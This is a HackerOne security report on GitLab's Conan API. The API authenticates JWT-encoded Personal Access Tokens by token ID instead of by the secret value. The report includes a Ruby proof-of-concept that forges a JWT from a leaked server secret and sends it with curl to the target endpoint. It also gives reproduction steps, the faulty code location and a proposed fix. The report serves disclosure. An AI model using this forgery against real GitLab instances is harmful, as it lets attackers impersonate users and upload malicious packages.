Conan API incorrectly processes JWT-encoded Personal Access Tokens, leading to potential vulnerability
HackerOne report #1070097 by firelizzard
on 2021-01-02, assigned to @cmaxim:
Report
Summary
The Conan API incorrectly processes JWT-encoded Personal Access Tokens sent via HTTP Bearer auth. If an attacker is able to determine a server secret (Settings.attr_encrypted_db_key_base
), a username, and one of the user's Personal Access Token's ID, the attacker could access the Conan API as if they had the Personal Access Token secret.
This may also affect the dependency proxy.
Steps to reproduce
- Target a GitLab instance
- You must be able to make API requests
- Determine the instance's
Settings.attr_encrypted_db_key_base
- This must be done via direct access to the server, or some other vulnerability
- Target a user of the instance
- You need the User ID
- If all you know is the username, you can use the GraphQL API to get the ID from the username
- Guess the ID of one of the user's Personal Access Tokens
- The PAT must have access to the Conan API
- If the instance is small enough, you may be able to brute force this
- If you have an account, you can create your own PAT, which may give you an idea of likely ID ranges to try
- Execute the following script
- You must have the
jwt
gem installed
- You must have the
require 'time'
require 'jwt'
require 'securerandom'
### URL to attack
URL = 'https://gdk.test/api/v4/packages/conan/v1/users/check_credentials'
### User ID of your target
user_id = 1
### Personal Access Token ID of your target user
token_id = 1
### Settings.attr_encrypted_db_key_base
key_base = 'REDACTED'
issued_at = Time.now
not_before = issued_at - 5
expire_time = issued_at + 60
payload = {
jti: SecureRandom.uuid,
"access_token": token_id,
"user_id": user_id,
iat: issued_at.to_i,
nbf: not_before.to_i,
exp: expire_time.to_i
}
secret = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA256.new, key_base, 'gitlab-conan-packages')
encoded = JWT.encode(payload, secret, 'HS256', { typ: 'JWT' })
puts `curl -H "Authorization: Bearer #{encoded}" #{URL}`
Impact
Ability to do anything with the Conan API that the target user can do. This includes discovering and downloading Conan packages, as well as uploading new packages.
Examples
This requires compromising a server secret, Settings.attr_encrypted_db_key_base
, so I have only tested it on my local GDK setup.
What is the current bug behavior?
The way the Conan API authentication processes a JWT-encoded Personal Access Token means authentication will succeed if the JWT has the ID of the PAT instead of the actual (cryptographically secure and random) token.
API::Helpers::Packages::Conan::ApiHelpers#find_personal_access_token_from_conan_jwt
on line 248 of lib/api/helpers/packages/conan/api_helpers.rb
uses PersonalAccessToken.find_by_id_and_user_id
.
What is the expected correct behavior?
The Conan API should only accept a JWT-encoded Personal Access Token if the JWT contains the actual token value.
The helper should use PersonalAccessToken.find_by_token_and_user_id
.
Relevant logs and/or screenshots
I'm not sure there are any relevant logs.
Output of checks
Results of GitLab environment info
$ cd ~/Source/gitlab-org/gitlab-development-kit/gitlab
$ bundle exec rake gitlab:env:info RAILS_ENV=development
System information
System:
Proxy: no
Current User: firelizzard
Using RVM: no
Ruby Version: 2.7.2p137
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.1
Redis Version: 6.0.8
Git Version: 2.30.0
Sidekiq Version:5.2.9
Go Version: go1.15.5 darwin/amd64
GitLab information
Version: 13.8.0-pre
Revision: f9a79617f8e
Directory: /Users/firelizzard/Source/gitlab-org/gitlab-development-kit/gitlab
DB Adapter: PostgreSQL
DB Version: 12.4
URL: https://gdk.test:3443
HTTP Clone URL: https://gdk.test:3443/some-group/some-project.git
SSH Clone URL: ssh://firelizzard@gdk.test:2222/some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers: google_oauth2
GitLab Shell
Version: 13.15.0
Repository storage paths:
- default: /Users/firelizzard/Source/gitlab-org/gitlab-development-kit/repositories
GitLab Shell path: /Users/firelizzard/Source/gitlab-org/gitlab-development-kit/gitlab-shell
Git: /usr/local/bin/git
Impact
The attacker could to do anything with the Conan API that the target user can do. This includes discovering and downloading Conan packages, as well as uploading new packages.
How To Reproduce
Please add reproducibility information to this section: